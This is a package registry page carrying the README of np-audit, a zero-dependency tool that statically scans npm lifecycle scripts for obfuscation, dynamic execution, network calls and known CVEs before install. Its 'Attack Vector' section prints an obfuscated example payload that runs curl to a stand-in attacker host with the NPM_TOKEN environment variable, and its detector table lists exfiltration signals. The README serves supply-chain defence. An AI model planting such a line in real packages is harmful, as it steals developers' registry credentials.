JSPM

  • ESM via JSPM
  • ES Module Entrypoint
  • Export Map
  • Keywords
  • License
  • Repository URL
  • TypeScript Types
  • README
  • Created
  • Published
  • Downloads 11
  • Score
    100M100P100Q91493F
  • License MIT

Static obfuscation detector for npm lifecycle scripts — supply chain attack prevention

Package Exports

  • np-audit
  • np-audit/src/cli.js

This package does not declare an exports field, so the exports above have been automatically detected and optimized by JSPM instead. If any package subpath is missing, it is recommended to post an issue to the original package (np-audit) to support the "exports" field. If that is not possible, create a JSPM override to customize the exports field for this package.

Readme

np-audit

npm version npm downloads npm package size GitHub license CI codecov

np-audit — npm package auditor

Static security analysis for npm packages — detects obfuscated lifecycle scripts, known vulnerabilities, and malicious patterns before they run. Drop-in replacement for npm install and npm ci.

Zero dependencies. Pure Node.js built-ins only. < 100 kB on the wire.

npx np-audit scan express
npm install -g np-audit
npa scan                     # scan all deps
npa install                  # audit then install
alias npm='npa'              # use as drop-in replacement

Marshallers

Detection is split into modular marshallers — each one detects a single attack signal:

Marshaller What it detects Score
eval/dynamic-exec eval(), new Function(), indirect eval, vm.*, setTimeout with string 8
obfuscator.io _0x variable naming patterns (obfuscator.io output) 9–80
high-entropy-string Long strings or concatenation chains with high Shannon entropy 6
hex-escape-density Dense \xNN and \uXXXX escape sequences 5–50
fromCharCode String.fromCharCode with many args, large decimal char-code arrays 7
encoded-decode Base64/hex decode (atob, Buffer.from) optionally combined with eval 3–8
child-process require('child_process'), exec, spawn, fork, worker_threads 5
hex-array Large numbers of 0x hex literal values 7–60
process-env process.env access (credential exfiltration signal) 3
network-call require('https'), fetch(), dns, net, tls 4
filesystem-manipulation fs.writeFile, chmod, symlink (backdoor persistence) 3–4
runtime-download Downloads and executes external runtimes (Bun, Deno) 9–50
vscode-autorun VS Code tasks with runOn: folderOpen (auto-execution) 30
known-vulnerability Known CVEs via Snyk API or OSV.dev 4–6 (WARN), 80 (malicious)

Scores scale with severity — higher counts of obfuscation indicators produce higher scores. The final verdict is based on the highest individual score across all marshallers.

See CONTRIBUTING.md for how to write custom marshallers.


Vulnerability Scanning (CVE)

Every scanned package is checked against known vulnerability databases alongside the code analysis.

Default: OSV.dev (no setup required)

Works out of the box — queries the free OSV.dev API for known vulnerabilities and malicious package advisories.

Optional: Snyk API (richer data)

# Environment variable
export SNYK_API_TOKEN=your-token-here

# Or via Snyk CLI
snyk auth

Token resolution order: SNYK_API_TOKENSNYK_TOKEN~/.config/configstore/snyk.json

Severity Score Verdict
Malicious package 80 DANGER
10+ vulnerabilities 6 WARN
5–9 vulnerabilities 5 WARN
1–4 vulnerabilities 4 WARN

Non-malicious CVEs produce warnings but never block installation. Only confirmed malicious packages trigger DANGER.


Usage

Commands

Command Alias Description
npa install [package] npa i Audit then run npm install
npa ci Audit then run npm ci
npa scan [package] npa s Scan only, no install
npa config get npa c get Show current configuration
npa config set <key> <value> npa c set Update a config value
npa alias --install Install shell alias
npa alias --uninstall Remove shell alias

Any unrecognized command is forwarded to npm (e.g. npa run test, npa publish).

Flags

Flag Alias Works with Description
--review -r install, ci Interactive mode — choose which scripts to allow
--json install, ci, scan Machine-readable JSON output
--no-dev install, ci, scan Skip devDependencies
--verbose all Show fetch progress and extra detail
--version -v Print version and exit
--help -h Print help and exit

Interactive --review mode

npa install --review
  npa --review mode
  Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit

  Found 3 package(s) with install scripts:

     [✓ allow] esbuild@0.24.2       postinstall: post-install.js     OK
   ▶ [✗ deny ] evil-sdk@1.0.0       postinstall: install.js          DANGER (score: 9)
     [✓ allow] @scope/pkg@2.1.0     postinstall: install.js          WARN (score: 5)

  2 allowed  1 denied

Configuration

Config is stored in ~/.npmauditor.json (global) and can be overridden per project with .npmauditor.json.

npa config get                              # Show current config
npa config set blockScore 6                 # Block at score 6+
npa config set skipPackages '["esbuild"]'   # Trust specific packages
npa config set skipScopes '["@types"]'      # Trust entire scopes

All config keys

Key Default Description
blockScore 7 Score threshold for DANGER (exit 1)
warnScore 4 Score threshold for WARN (exit 0)
registry https://registry.npmjs.org npm registry URL
timeout 30000 HTTP request timeout (ms)
parallelFetches 5 Concurrent downloads
skipScopes [] @scope prefixes to skip
skipPackages [] Package names to skip
silent false Suppress output when no issues found
scanSelf true Scan own project lifecycle scripts
maxTarballSize 50MB Max unpacked tarball size (bomb protection)
checkVulnerabilities true Check packages against CVE databases
deepResolve false Resolve full transitive dependency tree

Shell Alias

Use npa as a transparent npm replacement:

npa alias --install     # adds: alias npm='npa'
source ~/.zshrc         # reload shell

Now npm install, npm ci scan automatically. All other npm commands (npm run, npm test, npm publish) pass through unchanged.

npa alias --uninstall   # remove the alias

How It Works

  1. Parse package-lock.json (v1/v2/v3) or resolve from package.json
  2. Fetch tarballs from registry (or read from node_modules)
  3. Parse lifecycle commands — splits &&/||/;/|, handles node -e, sh -c, shell scripts
  4. Walk the require()/import graph from each entry (cycle detection, 50 file / 5 MB cap)
  5. Analyze with all marshallers — static code checks + CVE database queries
  6. Score and classify: DANGER / WARN / OK
  7. Report or proceed with install

The Attack Vector

Supply chain attacks abuse npm lifecycle scripts. When you run npm install, any preinstall/install/postinstall script runs automatically. Attackers hide payloads behind obfuscation:

var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');

Real-world incidents:

npa never executes scripts. It downloads and statically analyzes them.


Exit Codes

Code Meaning
0 All clean or only warnings
1 One or more packages blocked

License

MIT